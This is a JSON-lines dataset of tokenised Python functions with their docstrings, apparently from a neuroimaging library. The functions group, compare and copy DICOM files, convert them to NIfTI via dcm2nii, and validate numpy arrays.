{"signature": "def group_dicom_files(dicom_file_paths, header_fields):", "body": "dist = SimpleDicomFileDistance(field_weights=header_fields)<EOL>path_list = dicom_file_paths.copy()<EOL>path_groups = DefaultOrderedDict(DicomFileSet)<EOL>while len(path_list) > <NUM_LIT:0>:<EOL><INDENT>file_path1 = path_list.pop()<EOL>file_subgroup = [file_path1]<EOL>dist.set_dicom_file1(file_path1)<EOL>j = len(path_list)-<NUM_LIT:1><EOL>while j >= <NUM_LIT:0>:<EOL><INDENT>file_path2 = path_list[j]<EOL>dist.set_dicom_file2(file_path2)<EOL>if dist.transform():<EOL><INDENT>file_subgroup.append(file_path2)<EOL>path_list.pop(j)<EOL><DEDENT>j -= <NUM_LIT:1><EOL><DEDENT>path_groups[file_path1].from_set(file_subgroup, check_if_dicoms=False)<EOL><DEDENT>return path_groups<EOL>", "docstring": "Gets a list of DICOM file absolute paths and returns a list of lists of\nDICOM file paths. Each group contains a set of DICOM files that have\nexactly the same headers.\n\nParameters\n----------\ndicom_file_paths: list of str\n    List or set of DICOM file paths\n\nheader_fields: list of str\n    List of header field names to check on the comparisons of the DICOM files.\n\nReturns\n-------\ndict of DicomFileSets\n    The key is one filepath representing the group (the first found).", "id": "f4068:m0"}
{"signature": "def copy_groups_to_folder(dicom_groups, folder_path, groupby_field_name):", "body": "if dicom_groups is None or not dicom_groups:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not os.path.exists(folder_path):<EOL><INDENT>os.makedirs(folder_path, exist_ok=False)<EOL><DEDENT>for dcmg in dicom_groups:<EOL><INDENT>if groupby_field_name is not None and len(groupby_field_name) > <NUM_LIT:0>:<EOL><INDENT>dfile = DicomFile(dcmg)<EOL>dir_name = '<STR_LIT>'<EOL>for att in groupby_field_name:<EOL><INDENT>dir_name = os.path.join(dir_name, dfile.get_attributes(att))<EOL><DEDENT>dir_name = str(dir_name)<EOL><DEDENT>else:<EOL><INDENT>dir_name = os.path.basename(dcmg)<EOL><DEDENT>group_folder = os.path.join(folder_path, dir_name)<EOL>os.makedirs(group_folder, exist_ok=False)<EOL>log.debug('<STR_LIT>'.format(group_folder))<EOL>import shutil<EOL>dcm_files = dicom_groups[dcmg]<EOL>for srcf in dcm_files:<EOL><INDENT>destf = os.path.join(group_folder, os.path.basename(srcf))<EOL>while os.path.exists(destf):<EOL><INDENT>destf += '<STR_LIT:+>'<EOL><DEDENT>shutil.copy2(srcf, destf)<EOL><DEDENT><DEDENT>", "docstring": "Copy the DICOM file groups to folder_path. Each group will be copied into\n    a subfolder with named given by groupby_field.\n\n    Parameters\n    ----------\n    dicom_groups: boyle.dicom.sets.DicomFileSet\n\n    folder_path: str\n     Path to where copy the DICOM files.\n\n    groupby_field_name: str\n     DICOM field name. Will get the value of this field to name the group\n     folder.", "id": "f4068:m1"}
{"signature": "def calculate_file_distances(dicom_files, field_weights=None,<EOL>dist_method_cls=None, **kwargs):", "body": "if dist_method_cls is None:<EOL><INDENT>dist_method = LevenshteinDicomFileDistance(field_weights)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>dist_method = dist_method_cls(field_weights=field_weights, **kwargs)<EOL><DEDENT>except:<EOL><INDENT>log.exception('<STR_LIT>'<EOL>'<STR_LIT>'.format(dist_method_cls, kwargs))<EOL><DEDENT><DEDENT>dist_dtype = np.float16<EOL>n_files = len(dicom_files)<EOL>try:<EOL><INDENT>file_dists = np.zeros((n_files, n_files), dtype=dist_dtype)<EOL><DEDENT>except MemoryError as mee:<EOL><INDENT>import scipy.sparse<EOL>file_dists = scipy.sparse.lil_matrix((n_files, n_files),<EOL>dtype=dist_dtype)<EOL><DEDENT>for idxi in range(n_files):<EOL><INDENT>dist_method.set_dicom_file1(dicom_files[idxi])<EOL>for idxj in range(idxi+<NUM_LIT:1>, n_files):<EOL><INDENT>dist_method.set_dicom_file2(dicom_files[idxj])<EOL>if idxi != idxj:<EOL><INDENT>file_dists[idxi, idxj] = dist_method.transform()<EOL><DEDENT><DEDENT><DEDENT>return file_dists<EOL>", "docstring": "Calculates the DicomFileDistance between all files in dicom_files, using an\nweighted Levenshtein measure between all field names in field_weights and\ntheir corresponding weights.\n\nParameters\n----------\ndicom_files: iterable of str\n    Dicom file paths\n\nfield_weights: dict of str to float\n    A dict with header field names to float scalar values, that\n    indicate a distance measure ratio for the levenshtein distance\n    averaging of all the header field names in it. e.g., {'PatientID': 1}\n\ndist_method_cls: DicomFileDistance class\n    Distance method object to compare the files.\n    If None, the default DicomFileDistance method using Levenshtein\n    distance between the field_wieghts will be used.\n\nkwargs: DicomFileDistance instantiation named arguments\n    Apart from the field_weitghts argument.\n\nReturns\n-------\nfile_dists: np.ndarray or scipy.sparse.lil_matrix of shape NxN\n    Levenshtein distances between each of the N items in dicom_files.", "id": "f4068:m2"}
{"signature": "def fit(self, samples, targets):", "body": "samples, targets = check_X_y(samples, targets, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if not callable(self.score_func):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% (self.score_func, type(self.score_func)))<EOL><DEDENT>self._check_params(samples, targets)<EOL>self.scores_ = np.asarray(self.score_func(samples, targets))<EOL>return self<EOL>", "docstring": "Parameters\n----------\nsamples: array-like, shape = [n_samples, n_features]\n    The training input samples.\n\n\ntargets: array-like, shape = [n_samples]\n    The target values (class labels in classification, real numbers in\n    regression).\n\nReturns\n-------\nself : object\n    Returns self.", "id": "f4068:c0:m1"}
{"signature": "def fit(self, dcm_file1, dcm_file2):", "body": "self.set_dicom_file1(dcm_file1)<EOL>self.set_dicom_file2(dcm_file2)<EOL>", "docstring": "Parameters\n----------\ndcm_file1: str (path to file) or DicomFile or namedtuple\n\ndcm_file2: str (path to file) or DicomFile or namedtuple", "id": "f4068:c1:m1"}
{"signature": "def set_dicom_file1(self, dcm_file):", "body": "self.dcmf1 = self._read_dcmfile(dcm_file)<EOL>", "docstring": "Parameters\n----------\ndcm_file: str (path to file) or DicomFile or namedtuple", "id": "f4068:c1:m2"}
{"signature": "def set_dicom_file2(self, dcm_file):", "body": "self.dcmf2 = self._read_dcmfile(dcm_file)<EOL>", "docstring": "Parameters\n----------\ndcm_file: str (path to file) or DicomFile or namedtuple", "id": "f4068:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _read_dcmfile(dcm_file):<DEDENT>", "body": "if isinstance(dcm_file, str):<EOL><INDENT>return DicomFile(dcm_file)<EOL><DEDENT>else:<EOL><INDENT>return dcm_file<EOL><DEDENT>", "docstring": "Parameters\n----------\ndcm_file: str or DicomFile\n    File path or DicomFile\n\nReturns\n-------\nDicomFile", "id": "f4068:c1:m4"}
{"signature": "def transform(self):", "body": "if self.dcmf1 is None or self.dcmf2 is None:<EOL><INDENT>return np.inf<EOL><DEDENT>for field_name in self.field_weights:<EOL><INDENT>if (str(getattr(self.dcmf1, field_name, '<STR_LIT>'))<EOL>!= str(getattr(self.dcmf2, field_name, '<STR_LIT>'))):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Check the field values in self.dcmf1 and self.dcmf2 and returns True\n        if all the field values are the same, False otherwise.\n\n        Returns\n        -------\n        bool", "id": "f4068:c1:m6"}
{"signature": "def levenshtein_analysis(self, field_weights=None):", "body": "if field_weights is None:<EOL><INDENT>if not isinstance(self.field_weights, dict):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(type(self.field_weights)))<EOL><DEDENT><DEDENT>key_dicoms = list(self.dicom_groups.keys())<EOL>file_dists = calculate_file_distances(key_dicoms, field_weights, self._dist_method_cls)<EOL>return file_dists<EOL>", "docstring": "Updates the status of the file clusters comparing the cluster\nkey files with a levenshtein weighted measure using either the\nheader_fields or self.header_fields.\n\nParameters\n----------\nfield_weights: dict of strings with floats\n    A dict with header field names to float scalar values, that indicate a distance measure\n    ratio for the levenshtein distance averaging of all the header field names in it.\n    e.g., {'PatientID': 1}", "id": "f4068:c3:m1"}
{"signature": "@staticmethod<EOL><INDENT>def dist_percentile_threshold(dist_matrix, perc_thr=<NUM_LIT>, k=<NUM_LIT:1>):<DEDENT>", "body": "triu_idx = np.triu_indices(dist_matrix.shape[<NUM_LIT:0>], k=k)<EOL>upper = np.zeros_like(dist_matrix)<EOL>upper[triu_idx] = dist_matrix[triu_idx] < np.percentile(dist_matrix[triu_idx], perc_thr)<EOL>return upper<EOL>", "docstring": "Thresholds a distance matrix and returns the result.\n\n        Parameters\n        ----------\n\n        dist_matrix: array_like\n        Input array or object that can be converted to an array.\n\n        perc_thr: float in range of [0,100]\n        Percentile to compute which must be between 0 and 100 inclusive.\n\n        k: int, optional\n        Diagonal above which to zero elements.\n        k = 0 (the default) is the main diagonal,\n        k < 0 is below it and k > 0 is above.\n\n        Returns\n        -------\n        array_like", "id": "f4068:c3:m2"}
{"signature": "def get_groups_in_same_folder(self, folder_depth=<NUM_LIT:3>):", "body": "group_pairs = []<EOL>key_dicoms = list(self.dicom_groups.keys())<EOL>idx = len(key_dicoms)<EOL>while idx > <NUM_LIT:0>:<EOL><INDENT>group1 = key_dicoms.pop()<EOL>dir_group1 = get_folder_subpath(group1, folder_depth)<EOL>for group in key_dicoms:<EOL><INDENT>if group.startswith(dir_group1):<EOL><INDENT>group_pairs.append((group1, group))<EOL><DEDENT><DEDENT>idx -= <NUM_LIT:1><EOL><DEDENT>return group_pairs<EOL>", "docstring": "Returns a list of 2-tuples with pairs of dicom groups that\nare in the same folder within given depth.\n\nParameters\n----------\nfolder_depth: int\nPath depth to check for folder equality.\n\nReturns\n-------\nlist of tuples of str", "id": "f4068:c3:m3"}
{"signature": "@staticmethod<EOL><INDENT>def plot_file_distances(dist_matrix):<DEDENT>", "body": "import matplotlib.pyplot as plt<EOL>fig = plt.figure()<EOL>ax = fig.add_subplot(<NUM_LIT>)<EOL>ax.matshow(dist_matrix, interpolation='<STR_LIT>',<EOL>cmap=plt.cm.get_cmap('<STR_LIT>'))<EOL>", "docstring": "Plots dist_matrix\n\nParameters\n----------\ndist_matrix: np.ndarray", "id": "f4068:c3:m4"}
{"signature": "def merge_groups(self, indices):", "body": "try:<EOL><INDENT>merged = merge_dict_of_lists(self.dicom_groups, indices,<EOL>pop_later=True, copy=True)<EOL>self.dicom_groups = merged<EOL><DEDENT>except IndexError:<EOL><INDENT>raise IndexError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Extend the lists within the DICOM groups dictionary.\n        The indices will indicate which list have to be extended by which\n        other list.\n\n        Parameters\n        ----------\n        indices: list or tuple of 2 iterables of int, bot having the same len\n             The indices of the lists that have to be merged, both iterables\n             items will be read pair by pair, the first is the index to the\n             list that will be extended with the list of the second index.\n             The indices can be constructed with Numpy e.g.,\n             indices = np.where(square_matrix)", "id": "f4068:c3:m7"}
{"signature": "def move_to_folder(self, folder_path, groupby_field_name=None):", "body": "try:<EOL><INDENT>copy_groups_to_folder(self.dicom_groups, folder_path, groupby_field_name)<EOL><DEDENT>except IOError as ioe:<EOL><INDENT>raise IOError('<STR_LIT>'.format(folder_path)) from ioe<EOL><DEDENT>", "docstring": "Copy the file groups to folder_path. Each group will be copied into\n        a subfolder with named given by groupby_field.\n\n        Parameters\n        ----------\n        folder_path: str\n         Path to where copy the DICOM files.\n\n        groupby_field_name: str\n         DICOM field name. Will get the value of this field to name the group\n         folder. If empty or None will use the basename of the group key file.", "id": "f4068:c3:m8"}
{"signature": "def get_unique_field_values_per_group(self, field_name,<EOL>field_to_use_as_key=None):", "body": "unique_vals = DefaultOrderedDict(set)<EOL>for dcmg in self.dicom_groups:<EOL><INDENT>for f in self.dicom_groups[dcmg]:<EOL><INDENT>field_val = DicomFile(f).get_attributes(field_name)<EOL>key_val = dcmg<EOL>if field_to_use_as_key is not None:<EOL><INDENT>try:<EOL><INDENT>key_val = str(DicomFile(dcmg).get_attributes(field_to_use_as_key))<EOL><DEDENT>except KeyError as ke:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>'<STR_LIT>'.format(field_to_use_as_key,<EOL>dcmg)) from ke<EOL><DEDENT><DEDENT>unique_vals[key_val].add(field_val)<EOL><DEDENT><DEDENT>return unique_vals<EOL>", "docstring": "Return a dictionary where the key is the group key file path and\n        the values are sets of unique values of the field name of all DICOM\n        files in the group.\n\n        Parameters\n        ----------\n        field_name: str\n         Name of the field to read from all files\n\n        field_to_use_as_key: str\n         Name of the field to get the value and use as key.\n         If None, will use the same key as the dicom_groups.\n\n        Returns\n        -------\n        Dict of sets", "id": "f4068:c3:m9"}
{"signature": "def generate_config(output_directory):", "body": "if not op.isdir(output_directory):<EOL><INDENT>os.makedirs(output_directory)<EOL><DEDENT>config_file = op.join(output_directory, \"<STR_LIT>\")<EOL>open_file = open(config_file, \"<STR_LIT:w>\")<EOL>open_file.write(\"<STR_LIT>\")<EOL>open_file.close()<EOL>return config_file<EOL>", "docstring": "Generate a dcm2nii configuration file that disable the interactive\n    mode.", "id": "f4069:m0"}
{"signature": "def add_meta_to_nii(nii_file, dicom_file, dcm_tags='<STR_LIT>'):", "body": "<EOL>dcmimage = dicom.read_file(dicom_file)<EOL>image = nibabel.load(nii_file)<EOL>if not isinstance(image, nibabel.nifti1.Nifti1Image):<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\".format(<EOL>type(image)))<EOL><DEDENT>if isinstance(dcm_tags, str):<EOL><INDENT>dcm_tags = [dcm_tags]<EOL><DEDENT>header = image.get_header()<EOL>repetition_time = float(dcmimage[(\"<STR_LIT>\", \"<STR_LIT>\")].value)<EOL>header.set_dim_info(slice=<NUM_LIT:2>)<EOL>nb_slices = header.get_n_slices()<EOL>slice_duration = round(repetition_time / nb_slices, <NUM_LIT:0>)<EOL>header.set_slice_duration(slice_duration)<EOL>if dcm_tags:<EOL><INDENT>content = [\"<STR_LIT>\".format(name, dcmimage[tag].value)<EOL>for name, tag in dcm_tags]<EOL>free_field = numpy.array(\"<STR_LIT:;>\".join(content),<EOL>dtype=header[\"<STR_LIT>\"].dtype)<EOL>image.get_header()[\"<STR_LIT>\"] = free_field<EOL><DEDENT>image.update_header()<EOL>nibabel.save(image, nii_file)<EOL>", "docstring": "Add slice duration and acquisition times to the headers of the nifit1 files in `nii_file`.\n    It will add the repetition time of the DICOM file (field: {0x0018, 0x0080, DS, Repetition Time})\n    to the NifTI file as well as any other tag in `dcm_tags`.\n    All selected DICOM tags values are set in the `descrip` nifti header field.\n    Note that this will modify the header content of `nii_file`.\n\n    Parameters\n    ----------\n    nii_files: str\n        Path to the NifTI file to modify.\n\n    dicom_file: str\n        Paths to the DICOM file from where to get the meta data.\n\n    dcm_tags: list of str\n        List of tags from the DICOM file to read and store in the nifti file.", "id": "f4069:m1"}
{"signature": "def call_dcm2nii(work_dir, arguments='<STR_LIT>'):", "body": "if not op.exists(work_dir):<EOL><INDENT>raise IOError('<STR_LIT>'.format(work_dir))<EOL><DEDENT>cmd_line = '<STR_LIT>'.format(arguments, work_dir)<EOL>log.info(cmd_line)<EOL>return subprocess.check_call(cmd_line, shell=True)<EOL>", "docstring": "Converts all DICOM files within `work_dir` into one or more\n    NifTi files by calling dcm2nii on this folder.\n\n    Parameters\n    ----------\n    work_dir: str\n        Path to the folder that contain the DICOM files\n\n    arguments: str\n        String containing all the flag arguments for `dcm2nii` CLI.\n\n    Returns\n    -------\n    sys_code: int\n        dcm2nii execution return code", "id": "f4069:m2"}
{"signature": "def convert_dcm2nii(input_dir, output_dir, filename):", "body": "<EOL>if not op.exists(input_dir):<EOL><INDENT>raise IOError('<STR_LIT>'.format(input_dir))<EOL><DEDENT>if not op.exists(output_dir):<EOL><INDENT>raise IOError('<STR_LIT>'.format(output_dir))<EOL><DEDENT>tmpdir = tempfile.TemporaryDirectory(prefix='<STR_LIT>')<EOL>arguments = '<STR_LIT>'.format(tmpdir.name)<EOL>try:<EOL><INDENT>call_out = call_dcm2nii(input_dir, arguments)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>log.info('<STR_LIT>'.format(input_dir))<EOL>filenames  = glob(op.join(tmpdir.name, '<STR_LIT>'))<EOL>cleaned_filenames = remove_dcm2nii_underprocessed(filenames)<EOL>filepaths = []<EOL>for srcpath in cleaned_filenames:<EOL><INDENT>dstpath = op.join(output_dir, filename)<EOL>realpath = copy_w_plus(srcpath, dstpath)<EOL>filepaths.append(realpath)<EOL>basename = op.basename(remove_ext(srcpath))<EOL>aux_files = set(glob(op.join(tmpdir.name, '<STR_LIT>'     .format(basename)))) -set(glob(op.join(tmpdir.name, '<STR_LIT>'.format(basename))))<EOL>for aux_file in aux_files:<EOL><INDENT>aux_dstpath = copy_w_ext(aux_file, output_dir, remove_ext(op.basename(realpath)))<EOL>filepaths.append(aux_dstpath)<EOL><DEDENT><DEDENT>return filepaths<EOL><DEDENT>", "docstring": "Call MRICron's `dcm2nii` to convert the DICOM files inside `input_dir`\n    to Nifti and save the Nifti file in `output_dir` with a `filename` prefix.\n\n    Parameters\n    ----------\n    input_dir: str\n        Path to the folder that contains the DICOM files\n\n    output_dir: str\n        Path to the folder where to save the NifTI file\n\n    filename: str\n        Output file basename\n\n    Returns\n    -------\n    filepaths: list of str\n        List of file paths created in `output_dir`.", "id": "f4069:m3"}
{"signature": "def remove_dcm2nii_underprocessed(filepaths):", "body": "cln_flist = []<EOL>len_sorted = sorted(filepaths, key=len)<EOL>for idx, fpath in enumerate(len_sorted):<EOL><INDENT>remove = False<EOL>fname = op.basename(fpath)<EOL>rest  = len_sorted[idx+<NUM_LIT:1>:]<EOL>for rest_fpath in rest:<EOL><INDENT>rest_file = op.basename(rest_fpath)<EOL>if rest_file.endswith(fname):<EOL><INDENT>remove = True<EOL>break<EOL><DEDENT><DEDENT>if not remove:<EOL><INDENT>cln_flist.append(fpath)<EOL><DEDENT><DEDENT>return cln_flist<EOL>", "docstring": "Return a subset of `filepaths`. Keep only the files that have a basename longer than the\n    others with same suffix.\n    This works based on that dcm2nii appends a preffix character for each processing\n    step it does automatically in the DICOM to NifTI conversion.\n\n    Parameters\n    ----------\n    filepaths: iterable of str\n\n    Returns\n    -------\n    cleaned_paths: iterable of str", "id": "f4069:m4"}
{"signature": "def treefall(iterable):", "body": "num_elems = len(iterable)<EOL>for i in range(num_elems, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>for c in combinations(iterable, i):<EOL><INDENT>yield c<EOL><DEDENT><DEDENT>", "docstring": "Generate all combinations of the elements of iterable and its subsets.\n\nParameters\n----------\niterable: list, set or dict or any iterable object\n\nReturns\n-------\nA generator of all possible combinations of the iterable.\n\nExample:\n-------\n>>> for i in treefall([1, 2, 3, 4, 5]): print(i)\n>>> (1, 2, 3)\n>>> (1, 2)\n>>> (1, 3)\n>>> (2, 3)\n>>> (1,)\n>>> (2,)\n>>> (3,)\n>>> ()", "id": "f4070:m0"}
{"signature": "def get_unique_field_values(dcm_file_list, field_name):", "body": "field_values = set()<EOL>for dcm in dcm_file_list:<EOL><INDENT>field_values.add(str(DicomFile(dcm).get_attributes(field_name)))<EOL><DEDENT>return field_values<EOL>", "docstring": "Return a set of unique field values from a list of DICOM files\n\n    Parameters\n    ----------\n    dcm_file_list: iterable of DICOM file paths\n\n    field_name: str\n     Name of the field from where to get each value\n\n    Returns\n    -------\n    Set of field values", "id": "f4071:m1"}
{"signature": "def find_all_dicom_files(root_path):", "body": "dicoms = set()<EOL>try:<EOL><INDENT>for fpath in get_all_files(root_path):<EOL><INDENT>if is_dicom_file(fpath):<EOL><INDENT>dicoms.add(fpath)<EOL><DEDENT><DEDENT><DEDENT>except IOError as ioe:<EOL><INDENT>raise IOError('<STR_LIT>'.format(fpath)) from ioe<EOL><DEDENT>return dicoms<EOL>", "docstring": "Returns a list of the dicom files within root_path\n\nParameters\n----------\nroot_path: str\nPath to the directory to be recursively searched for DICOM files.\n\nReturns\n-------\ndicoms: set\nSet of DICOM absolute file paths", "id": "f4071:m2"}
{"signature": "def is_dicom_file(filepath):", "body": "if not os.path.exists(filepath):<EOL><INDENT>raise IOError('<STR_LIT>'.format(filepath))<EOL><DEDENT>filename = os.path.basename(filepath)<EOL>if filename == '<STR_LIT>':<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>_ = dicom.read_file(filepath)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>log.debug('<STR_LIT>'<EOL>'<STR_LIT>'.format(filepath))<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Tries to read the file using dicom.read_file,\nif the file exists and dicom.read_file does not raise\nand Exception returns True. False otherwise.\n\n:param filepath: str\n Path to DICOM file\n\n:return: bool", "id": "f4071:m3"}
{"signature": "def group_dicom_files(dicom_paths, hdr_field='<STR_LIT>'):", "body": "dicom_groups = defaultdict(list)<EOL>try:<EOL><INDENT>for dcm in dicom_paths:<EOL><INDENT>hdr = dicom.read_file(dcm)<EOL>group_key = getattr(hdr, hdr_field)<EOL>dicom_groups[group_key].append(dcm)<EOL><DEDENT><DEDENT>except KeyError as ke:<EOL><INDENT>raise KeyError('<STR_LIT>'.format(hdr_field, dcm)) from ke<EOL><DEDENT>return dicom_groups<EOL>", "docstring": "Group in a dictionary all the DICOM files in dicom_paths\n    separated by the given `hdr_field` tag value.\n\n    Parameters\n    ----------\n    dicom_paths: str\n        Iterable of DICOM file paths.\n\n    hdr_field: str\n        Name of the DICOM tag whose values will be used as key for the group.\n\n    Returns\n    -------\n    dicom_groups: dict of dicom_paths", "id": "f4071:m4"}
{"signature": "def decompress(input_dir, dcm_pattern='<STR_LIT>'):", "body": "dcmfiles = sorted(recursive_glob(input_dir, dcm_pattern))<EOL>for dcm in dcmfiles:<EOL><INDENT>cmd = '<STR_LIT>'.format(dcm)<EOL>log.debug('<STR_LIT>'.format(cmd))<EOL>subprocess.check_call(cmd, shell=True)<EOL><DEDENT>", "docstring": "Decompress all *.dcm files recursively found in DICOM_DIR.\n    This uses 'gdcmconv --raw'.\n    It works when 'dcm2nii' shows the `Unsupported Transfer Syntax` error. This error is\n    usually caused by lack of JPEG2000 support in dcm2nii compilation.\n\n    Read more:\n    http://www.nitrc.org/plugins/mwiki/index.php/dcm2nii:MainPage#Transfer_Syntaxes_and_Compressed_Images\n\n    Parameters\n    ----------\n    input_dir: str\n        Folder path\n\n    dcm_patther: str\n        Pattern of the DICOM file names in `input_dir`.\n\n    Notes\n    -----\n    The *.dcm files in `input_folder` will be overwritten.", "id": "f4071:m5"}
{"signature": "def get_attributes(self, attributes, default='<STR_LIT>'):", "body": "if isinstance(attributes, str):<EOL><INDENT>attributes = [attributes]<EOL><DEDENT>attrs = [getattr(self, attr, default) for attr in attributes]<EOL>if len(attrs) == <NUM_LIT:1>:<EOL><INDENT>return attrs[<NUM_LIT:0>]<EOL><DEDENT>return tuple(attrs)<EOL>", "docstring": "Return the attributes values from this DicomFile\n\n        Parameters\n        ----------\n        attributes: str or list of str\n         DICOM field names\n\n        default: str\n         Default value if the attribute does not exist.\n\n        Returns\n        -------\n        Value of the field or list of values.", "id": "f4071:c0:m1"}
{"signature": "def as_ndarray(arr, copy=False, dtype=None, order='<STR_LIT>'):", "body": "if order not in ('<STR_LIT:C>', '<STR_LIT:F>', '<STR_LIT:A>', '<STR_LIT>', None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(str(order)))<EOL><DEDENT>if isinstance(arr, np.memmap):<EOL><INDENT>if dtype is None:<EOL><INDENT>if order in ('<STR_LIT>', '<STR_LIT:A>', None):<EOL><INDENT>ret = np.array(np.asarray(arr), copy=True)<EOL><DEDENT>else:<EOL><INDENT>ret = np.array(np.asarray(arr), copy=True, order=order)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if order in ('<STR_LIT>', '<STR_LIT:A>', None):<EOL><INDENT>ret = np.asarray(arr).astype(dtype)<EOL><DEDENT>else:<EOL><INDENT>ret = _asarray(np.array(arr, copy=True), dtype=dtype, order=order)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(arr, np.ndarray):<EOL><INDENT>ret = _asarray(arr, dtype=dtype, order=order)<EOL>if np.may_share_memory(ret, arr) and copy:<EOL><INDENT>ret = ret.T.copy().T if ret.flags['<STR_LIT>'] else ret.copy()<EOL><DEDENT><DEDENT>elif isinstance(arr, (list, tuple)):<EOL><INDENT>if order in (\"<STR_LIT:A>\", \"<STR_LIT>\"):<EOL><INDENT>ret = np.asarray(arr, dtype=dtype)<EOL><DEDENT>else:<EOL><INDENT>ret = np.asarray(arr, dtype=dtype, order=order)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(arr.__class__))<EOL><DEDENT>return ret<EOL>", "docstring": "Convert an arbitrary array to numpy.ndarray.\n\n    In the case of a memmap array, a copy is automatically made to break the\n    link with the underlying file (whatever the value of the \"copy\" keyword).\n\n    The purpose of this function is mainly to get rid of memmap objects, but\n    it can be used for other purposes. In particular, combining copying and\n    casting can lead to performance improvements in some cases, by avoiding\n    unnecessary copies.\n\n    If not specified, input array order is preserved, in all cases, even when\n    a copy is requested.\n\n    Caveat: this function does not copy during bool to/from 1-byte dtype\n    conversions. This can lead to some surprising results in some rare cases.\n    Example:\n\n        a = numpy.asarray([0, 1, 2], dtype=numpy.int8)\n        b = as_ndarray(a, dtype=bool)  # array([False, True, True], dtype=bool)\n        c = as_ndarray(b, dtype=numpy.int8)  # array([0, 1, 2], dtype=numpy.int8)\n\n    The usually expected result for the last line would be array([0, 1, 1])\n    because True evaluates to 1. Since there is no copy made here, the original\n    array is recovered.\n\n    Parameters\n    ----------\n    arr: array-like\n        input array. Any value accepted by numpy.asarray is valid.\n\n    copy: bool\n        if True, force a copy of the array. Always True when arr is a memmap.\n\n    dtype: any numpy dtype\n        dtype of the returned array. Performing copy and type conversion at the\n        same time can in some cases avoid an additional copy.\n\n    order: string\n        gives the order of the returned array.\n        Valid values are: \"C\", \"F\", \"A\", \"K\", None.\n        default is \"K\". See ndarray.copy() for more information.\n\n    Returns\n    -------\n    ret: np.ndarray\n        Numpy array containing the same data as arr, always of class\n        numpy.ndarray, and with no link to any underlying file.", "id": "f4072:m1"}
{"signature": "def import_pyfile(filepath, mod_name=None):", "body": "import sys<EOL>if sys.version_info.major == <NUM_LIT:3>:<EOL><INDENT>import importlib.machinery<EOL>loader = importlib.machinery.SourceFileLoader('<STR_LIT>', filepath)<EOL>mod = loader.load_module(mod_name)<EOL><DEDENT>else:<EOL><INDENT>import imp<EOL>mod = imp.load_source(mod_name, filepath)<EOL><DEDENT>return mod<EOL>", "docstring": "Imports the contents of filepath as a Python module.\n\n:param filepath: string\n\n:param mod_name: string\nName of the module when imported\n\n:return: module\nImported module", "id": "f4073:m0"}
{"signature": "def _assert_all_finite(X):", "body": "X = np.asanyarray(X)<EOL>if (X.dtype.char in np.typecodes['<STR_LIT>'] and not np.isfinite(X.sum())<EOL>and not np.isfinite(X).all()):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % X.dtype)<EOL><DEDENT>", "docstring": "Like assert_all_finite, but only for ndarray.", "id": "f4075:m0"}
{"signature": "def assert_all_finite(X):", "body": "<EOL>_assert_all_finite(X.data if sp.issparse(X) else X)<EOL>", "docstring": "Throw a ValueError if X contains NaN or infinity.\n\n    Input MUST be an np.ndarray instance or a scipy.sparse matrix.", "id": "f4075:m1"}
{"signature": "def as_float_array(X, copy=True, force_all_finite=True):", "body": "if isinstance(X, np.matrix) or (not isinstance(X, np.ndarray)<EOL>and not sp.issparse(X)):<EOL><INDENT>return check_array(X, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>'], dtype=np.float64,<EOL>copy=copy, force_all_finite=force_all_finite,<EOL>ensure_2d=False)<EOL><DEDENT>elif sp.issparse(X) and X.dtype in [np.float32, np.float64]:<EOL><INDENT>return X.copy() if copy else X<EOL><DEDENT>elif X.dtype in [np.float32, np.float64]:  <EOL><INDENT>return X.copy('<STR_LIT:F>' if X.flags['<STR_LIT>'] else '<STR_LIT:C>') if copy else X<EOL><DEDENT>else:<EOL><INDENT>return X.astype(np.float32 if X.dtype == np.int32 else np.float64)<EOL><DEDENT>", "docstring": "Converts an array-like to an array of floats\n\n    The new dtype will be np.float32 or np.float64, depending on the original\n    type. The function can create a copy or modify the argument depending\n    on the argument copy.\n\n    Parameters\n    ----------\n    X : {array-like, sparse matrix}\n\n    copy : bool, optional\n        If True, a copy of X will be created. If False, a copy may still be\n        returned if X's dtype is not a floating point type.\n\n    Returns\n    -------\n    XT : {array, sparse matrix}\n        An array of type np.float", "id": "f4075:m2"}
{"signature": "def _num_samples(x):", "body": "if not hasattr(x, '<STR_LIT>') and not hasattr(x, '<STR_LIT>'):<EOL><INDENT>if hasattr(x, '<STR_LIT>'):<EOL><INDENT>x = np.asarray(x)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % x)<EOL><DEDENT><DEDENT>return x.shape[<NUM_LIT:0>] if hasattr(x, '<STR_LIT>') else len(x)<EOL>", "docstring": "Return number of samples in array-like x.", "id": "f4075:m3"}
{"signature": "def check_consistent_length(*arrays):", "body": "uniques = np.unique([_num_samples(X) for X in arrays if X is not None])<EOL>if len(uniques) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>% str(uniques))<EOL><DEDENT>", "docstring": "Check that all arrays have consistent first dimensions.\n\n    Checks whether all objects in arrays have the same shape or length.\n\n    Parameters\n    ----------\n    arrays : list or tuple of input objects.\n        Objects that will be checked for consistent length.", "id": "f4075:m4"}
